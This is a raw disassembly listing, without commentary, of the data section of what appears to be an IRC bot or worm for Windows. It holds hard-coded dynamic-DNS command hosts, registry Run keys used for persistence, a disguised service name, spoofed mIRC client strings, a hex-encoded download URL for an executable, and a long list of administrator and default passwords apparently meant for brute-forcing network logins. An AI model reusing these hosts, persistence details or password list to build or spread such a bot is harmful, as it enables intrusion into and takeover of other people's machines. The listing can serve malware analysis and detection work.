dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o
; sub_401ACD+388Ao ...
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr
dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r
dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr
; sub_40D774r ...
align 10h
dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r
dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do
; sub_40D824+5Bo ...
dbl_427690 dq 9.765625e-4 ; DATA XREF: sub_4167A0+2BDr
; sub_4167A0+2D8r ...
dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r
dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r
dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r
; sub_417E84+3A7r
dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r
dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br
; sub_417E84+2D5r ...
dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r
dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr
; sub_417E84+138r ...
dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r
; sub_417E84+308r
dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r
dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br
flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r
flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr
flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r
flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r
dbl_4276F8 dq 1.0 ; DATA XREF: sub_41D055+6Cr
; sub_41D19B+6Cr ...
dword_427700 dd 0FFFFFFFFh, 41E2AAh, 41E2BEh ; DATA XREF: sub_41E1D3+5o
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E52A+8Eo
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E52A+4Fo
align 4
byte_42773C db 6 ; DATA XREF: sub_41FF3F:loc_41FF96r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: .packed:off_43D094o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: .packed:off_43D090o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .packed:off_43D30Co
dbl_427860 dq 0.0 ; DATA XREF: sub_421BFF+8Cr
; sub_421BFF+ACr ...
dbl_427868 dq 4.195835e6 ; DATA XREF: sub_422114+Fr
dbl_427870 dq 3.145727e6 ; DATA XREF: sub_422114+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422152o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_422279+93o
align 4
dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: sub_4228FD+5o
dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422A2C+5o
dd offset loc_422AEA
align 8
dd offset sub_422AC8
dd offset sub_422AD2
dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 ; DATA XREF: sub_422B62+5o
dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: sub_422D26+5o
dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o
dd offset loc_422E4D
align 10h
dd offset loc_422E39
dd offset loc_422E3D
dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o
dd offset loc_422EA3
align 8
dd offset loc_422E8F
dd offset loc_422E93
dword_427920 dd 2 dup(0) ; DATA XREF: sub_4232A8+36o
; sub_4244F4+39o ...
dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
; DATA XREF: sub_4232A8+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .packed:off_43D4DCo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
align 10h
asc_427BF0 db 0Ah ; DATA XREF: sub_423DD1+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
align 10h
dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: sub_4244F4+5o
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
align 10h
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425029+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425029+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425973:loc_425A68o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_425973+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_425973+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_425973+ADo
align 4
dd offset dword_427DAC
off_427C90 dd offset loc_4260E2 ; DATA XREF: sub_4260BA+8o
; sub_4260FE+2Co ...
dd offset sub_4260D5
dd offset sub_4262F6
dd offset dword_427DF8
off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao
; sub_426168o ...
dd offset sub_4260D5
dd offset loc_426332
dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o
; sub_4261D0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o
dd offset dword_427E44
off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o
; sub_42629A+37o ...
dd offset sub_4260D5
dd offset loc_426314
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o
dd offset dword_427E88
off_427CEC dd offset loc_4264A5 ; DATA XREF: sub_426490o
; .packed:off_43DAE4o ...
dd offset dword_427EB8
off_427CF4 dd offset loc_4264C1 ; DATA XREF: sub_4264DD+8o
; sub_42651A+8o ...
dd offset sub_42657A
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
align 10h
dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426587+Eo
dd 3, 19930520h, 2 dup(0)
dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
; DATA XREF: sub_426636+5o
dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
; DATA XREF: sub_4268C1+5o
dd 43DAE4h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427D78 dd offset off_43DAFC ; DATA XREF: .packed:00427D90o
; .packed:00427DDCo ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427D78
dd offset dword_427D48+18h
dword_427D98 dd 3 dup(0) ; DATA XREF: .packed:00427DBCo
dd 2, 427D90h
dword_427DAC dd 3 dup(0) ; DATA XREF: .packed:00427C8Co
dd offset off_43DAFC
dd offset dword_427D98+4
off_427DC0 dd offset off_43DB1C ; DATA XREF: .packed:00427DD8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DC0
dd offset off_427D78
dd offset dword_427D48+18h
dd 0
db 0 ; DATA XREF: .packed:00427E08o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 427DD8h
dword_427DF8 dd 3 dup(0) ; DATA XREF: .packed:00427C9Co
dd offset off_43DB1C
dd offset unk_427DE8
off_427E0C dd offset off_43DB3C ; DATA XREF: .packed:00427E24o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E0C
dd offset off_427D78
dd offset dword_427D48+18h
dword_427E30 dd 3 dup(0) ; DATA XREF: .packed:00427E54o
dd 3, 427E24h
dword_427E44 dd 3 dup(0) ; DATA XREF: .packed:00427CC8o
dd offset off_43DB3C
dd offset dword_427E30+4
off_427E58 dd offset off_43DB60 ; DATA XREF: .packed:00427E70o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E58
dd 0
db 0 ; DATA XREF: .packed:00427E98o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 427E70h
dword_427E88 dd 3 dup(0) ; DATA XREF: .packed:00427CE8o
dd offset off_43DB60
dd offset unk_427E78
dd offset dword_427D48+18h
dword_427EA0 dd 4 dup(0) ; DATA XREF: .packed:00427EC8o
dd 1, 427E9Ch
dword_427EB8 dd 3 dup(0) ; DATA XREF: .packed:00427CF0o
dd offset off_43DAE4
dd offset dword_427EA0+8
align 10h
dword_427ED0 dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF: .packed:loc_426AA7o
dd 0FFFFFFFFh, 426A90h, 0
dd offset sub_426A88
dword_427F00 dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF: .packed:loc_426AC4o
dd 0FFFFFFFFh, 426AB4h, 0
dd offset loc_426ABC
dword_427F30 dd 19930520h, 2, 427F50h, 1, 427F60h, 3 dup(0)
; DATA XREF: .packed:loc_426AD0o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427F78h, 4 dup(0)
dd offset loc_40DA8E
dd 0FFFFFFFFh, 426ADAh
dword_427F90 dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF: .packed:loc_426AE2o
dd offset off_43DAE4
align 8
dd 0FFFFFFFFh, 0
dd 0Ch, 42651Ah, 0
dd offset off_43DAFC
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426218h, 0
dd offset off_43DB1C
align 10h
dd 0FFFFFFFFh, 0
dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: .packed:0042801Co
dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo
; sub_4262F6+4Bo
dd offset sub_426168
dd 0
dd offset dword_427FF8+8
dd 0FFFFFFFFh, 426AECh
dword_428028 dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF: .packed:loc_426AF4o
dd 0FFFFFFFFh, 426AFEh
dword_42804C dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF: .packed:loc_426B06o
dd 0FFFFFFFFh, 426B10h
dword_428070 dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF: .packed:loc_426B18o
dd offset off_43DB3C
align 8
dd 0FFFFFFFFh, 0
dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: .packed:004280C4o
dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo
; sub_4262F6+2Do
dd offset sub_426277
dd 0
dd offset dword_4280A0+8
dd 0FFFFFFFFh, 426B22h
dword_4280D0 dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF: .packed:loc_426B2Ao
dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: .packed:00428104o
dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo
dd offset sub_4260BA
dd 0
dd offset dword_4280EC
dd 28308h, 2 dup(0)
dd 2836Eh, 271C4h, 28144h, 2 dup(0)
dd 28B82h, 27000h, 92h dup(0)
dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000 dd 0 ; DATA XREF: sub_41C164+1Fo
dd offset loc_401205
dd offset sub_40DB3C
dd offset sub_40F0EC
dword_429010 dd 0 ; DATA XREF: sub_41C164+1Ao
dword_429014 dd 0 ; DATA XREF: sub_41C164+10o
dd offset sub_41DA32
dd offset sub_420B0D
dd offset sub_42413E
dd offset sub_424F62
dword_429028 dd 0 ; DATA XREF: sub_41C164:loc_41C16Fo
dword_42902C dd 0 ; DATA XREF: sub_41C1B3+65o
dd offset sub_4241E3
dword_429034 dd 0 ; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038 dd 0 ; DATA XREF: sub_41C1B3+76o
dd offset sub_424F73
dword_429040 dd 4 dup(0) ; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
; DATA XREF: sub_401000+7o
dword_429068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
dword_42906C dd 1B58h ; DATA XREF: sub_401221+4A4r
; sub_401221+539r
dword_429070 dd 0C8Bh ; DATA XREF: sub_401221+585r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er
; sub_40BD91+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r
; sub_40BD91:loc_40C182r
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r
dword_42908C dd 1 ; DATA XREF: sub_401221+13Dr
dword_429090 dd 1 ; DATA XREF: sub_401221:loc_401562r
; sub_4188A6+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r
; sub_401ACD+B30r ...
align 4
dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar
; sub_40AAAC+60r ...
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
aDoos db 'DOOS',0 ; DATA XREF: sub_401221+5Do
; sub_401ACD:loc_40445Do ...
align 4
aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o
align 4
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo
; sub_401ACD+7C9Ao
align 10h
aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_401221+490o
; sub_401221+52Ao
align 4
aFaak db '#FAAK#',0 ; DATA XREF: sub_401221+4B0o
; sub_401221+540o ...
align 4
aSaad_ db 'saad.',0 ; DATA XREF: sub_401221+4C7o
; sub_401221+552o
align 4
byte_4290E4 db 73h ; DATA XREF: sub_401221:loc_401789r
; sub_401221+576o
aCorti1_dns2go_ db 'corti1.dns2go.com',0
align 4
aFaak_0 db '#FAAK#',0 ; DATA XREF: sub_401221+58Co
align 10h
aSaad__0 db 'saad.',0 ; DATA XREF: sub_401221+59Eo
align 4
byte_429108 db 73h ; DATA XREF: sub_401221+143o
; sub_401221+167w ...
db 68h, 7Ah, 71h
dd 6A736676h, 78652E6Dh, 65h, 6E6E6977h, 61622E74h, 74h
aWindowsSercesA db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo
asc_429138: ; DATA XREF: .packed:0040AB2Bo
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do
align 10h
aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o
; sub_401ACD+1EA2o ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o
; sub_401ACD+730Co
align 4
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo
; sub_401ACD+423Ao
align 4
off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo
; "*@admin.com"
off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
; sub_401ACD+7C3Ao
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
; sub_41A6EA+28o
align 10h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
; sub_41A6EA+D4o
align 4
dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h
dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
dd 652E6D79h, 6578h, 429938h, 429928h, 429918h, 42990Ch
dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h, 4298D8h
dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh, 4298A0h
dd 42989Ch, 429894h, 429890h, 0
dd offset byte_43DB88
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass_0 ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
dd 0
dword_4294CC dd 10h ; DATA XREF: sub_401ACD+AE0r
; sub_401ACD+B0Cr ...
aIntranet db 'intranet',0 ; DATA XREF: .packed:004294B8o
align 4
aLan db 'lan',0 ; DATA XREF: .packed:004294B0o
aMain db 'main',0 ; DATA XREF: .packed:004294ACo
align 4
aWinpass db 'winpass',0 ; DATA XREF: .packed:004294A8o
aBlank db 'blank',0 ; DATA XREF: .packed:004294A4o
align 4
aOffice db 'office',0 ; DATA XREF: .packed:004294A0o
align 10h
aControl db 'control',0 ; DATA XREF: .packed:0042949Co
aXp db 'xp',0 ; DATA XREF: .packed:00429498o
align 4
aNokia db 'nokia',0 ; DATA XREF: .packed:00429494o
align 4
aHp db 'hp',0 ; DATA XREF: .packed:00429490o
align 4
aSiemens db 'siemens',0 ; DATA XREF: .packed:0042948Co
aCompaq db 'compaq',0 ; DATA XREF: .packed:00429488o
align 4
aDell db 'dell',0 ; DATA XREF: .packed:00429484o
align 10h
aCisco db 'cisco',0 ; DATA XREF: .packed:00429480o
align 4
aIbm db 'ibm',0 ; DATA XREF: .packed:0042947Co
aOrainstall db 'orainstall',0 ; DATA XREF: .packed:00429474o
align 4
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .packed:00429470o
align 4
aSql db 'sql',0 ; DATA XREF: .packed:0042946Co
aSa db 'sa',0 ; DATA XREF: .packed:00429468o
align 4
aDb1234 db 'db1234',0 ; DATA XREF: .packed:00429464o
align 4
aDb1 db 'db1',0 ; DATA XREF: .packed:0042945Co
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .packed:00429458o
align 4
aData db 'data',0 ; DATA XREF: .packed:00429454o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: .packed:00429450o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: .packed:0042944Co
align 4
aDbpass db 'dbpass',0 ; DATA XREF: .packed:00429448o
align 10h
aAccess db 'access',0 ; DATA XREF: .packed:00429444o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: .packed:0042943Co
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: .packed:00429438o
align 4
aDomain db 'domain',0 ; DATA XREF: .packed:00429434o
align 4
aHello db 'hello',0 ; DATA XREF: .packed:00429430o
align 4
aHell db 'hell',0 ; DATA XREF: .packed:0042942Co
align 4
aGod db 'god',0 ; DATA XREF: .packed:00429428o
aSex db 'sex',0 ; DATA XREF: .packed:00429424o
; .packed:off_438A68o
aSlut db 'slut',0 ; DATA XREF: .packed:00429420o
align 4
aBitch db 'bitch',0 ; DATA XREF: .packed:0042941Co
align 4
aFuck db 'fuck',0 ; DATA XREF: .packed:00429418o
align 4
aExchange db 'exchange',0 ; DATA XREF: .packed:00429414o
align 4
aBackup db 'backup',0 ; DATA XREF: .packed:00429410o
align 10h
aTechnical db 'technical',0 ; DATA XREF: .packed:0042940Co
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: .packed:00429408o
align 4
aLogin db 'login',0 ; DATA XREF: .packed:00429404o
align 10h
aMary db 'mary',0 ; DATA XREF: .packed:00429400o
align 4
aKatie db 'katie',0 ; DATA XREF: .packed:004293FCo
align 10h
aKate db 'kate',0 ; DATA XREF: .packed:004293F4o
align 4
aGeorge db 'george',0 ; DATA XREF: .packed:004293F0o
align 10h
aEric db 'eric',0 ; DATA XREF: .packed:004293ECo
align 4
aChris db 'chris',0 ; DATA XREF: .packed:004293E8o
align 10h
aIan db 'ian',0 ; DATA XREF: .packed:004293E4o
aNeil db 'neil',0 ; DATA XREF: .packed:004293E0o
align 4
aLee db 'lee',0 ; DATA XREF: .packed:004293DCo
aBrian db 'brian',0 ; DATA XREF: .packed:004293D8o
align 4
aSusan db 'susan',0 ; DATA XREF: .packed:004293D0o
align 10h
aSue db 'sue',0 ; DATA XREF: .packed:004293CCo
aSam db 'sam',0 ; DATA XREF: .packed:004293C8o
aLuke db 'luke',0 ; DATA XREF: .packed:004293C4o
align 10h
aPeter db 'peter',0 ; DATA XREF: .packed:004293C0o
; .packed:004293D4o
align 4
aJohn db 'john',0 ; DATA XREF: .packed:004293BCo
align 10h
aMike db 'mike',0 ; DATA XREF: .packed:004293B8o
align 4
aBill db 'bill',0 ; DATA XREF: .packed:004293B4o
align 10h
aFred db 'fred',0 ; DATA XREF: .packed:004293B0o
align 4
aJoe db 'joe',0 ; DATA XREF: .packed:004293ACo
aJen db 'jen',0 ; DATA XREF: .packed:004293A8o
aBob db 'bob',0 ; DATA XREF: .packed:004293A4o
; .packed:004293F8o
aQwe db 'qwe',0 ; DATA XREF: .packed:004293A0o
aZxc db 'zxc',0 ; DATA XREF: .packed:0042939Co
aAsd db 'asd',0 ; DATA XREF: .packed:00429398o
aQaz db 'qaz',0 ; DATA XREF: .packed:00429394o
aWin2000 db 'win2000',0 ; DATA XREF: .packed:00429390o
aWinnt db 'winnt',0 ; DATA XREF: .packed:0042938Co
align 4
aWinxp db 'winxp',0 ; DATA XREF: .packed:00429388o
align 4
aWin2k db 'win2k',0 ; DATA XREF: .packed:00429384o
align 4
aWin98 db 'win98',0 ; DATA XREF: .packed:00429380o
align 4
aWindows db 'windows',0 ; DATA XREF: .packed:0042937Co
aOeminstall db 'oeminstall',0 ; DATA XREF: .packed:00429378o
align 10h
aOemuser db 'oemuser',0 ; DATA XREF: .packed:00429374o
aOem db 'oem',0 ; DATA XREF: .packed:00429370o
